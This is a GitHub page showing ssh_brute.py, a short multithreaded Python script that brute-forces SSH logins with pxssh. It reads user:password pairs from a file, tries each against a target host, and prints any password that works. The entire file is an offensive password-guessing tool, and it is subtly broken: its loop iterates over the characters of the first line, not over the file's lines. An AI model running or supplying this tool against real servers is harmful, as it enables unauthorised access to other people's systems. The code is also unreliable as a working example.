-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathssh_brute.py
More file actions
58 lines (53 loc) · 1.63 KB
/
ssh_brute.py
File metadata and controls
58 lines (53 loc) · 1.63 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#!/usr/bin/python3.8
import pxssh
import argparse
import time
from threading import *
MaxCon=5
ConLock=BoundedSemaphore(value=MaxCon)
found=False
fails=0
def connect(host,user,passw,release):
global found
global fails
try:
s=pxssh.pxssh()
s.login(host,user,passw)
print('password found : '+ passw)
found=True
except Exception as e:
if 'read_nonblocking' in str(e):
fails+=1
time.sleep(5)
connect(host,user,passw,False)
elif 'synchronize with original prompt ' in str(e):
time.sleep(1)
connect(host,user,passw,False)
finally:
if release :ConLock.release()
def main():
parser=argparse.ArgumentParser()
parser.add_argument('-H','--host',action='store',dest='host',help='specify the host')
parser.add_argument('-f','--file',action='store',dest='file',help='specify the file')
args=parser.parse_args()
host=args.host
file=args.file
if host==None or file==None :
print('specify the host and file')
exit(0)
fn=open(file,'r')
for line in fn.readline():
user=line.split(':')[0]
passw=line.split(':')[1].strip('\r').strip('\n')
if found:
print('exiting password found ')
exit(0)
if fails>5:
print('exiting to many socket timeout')
exit(0)
ConLock.acquire()
print('testing password : ' +str(passw))
t=Thread(target=connect,args=(host,user,passw,True))
child=t.start()
if __name__=='__main__':
main()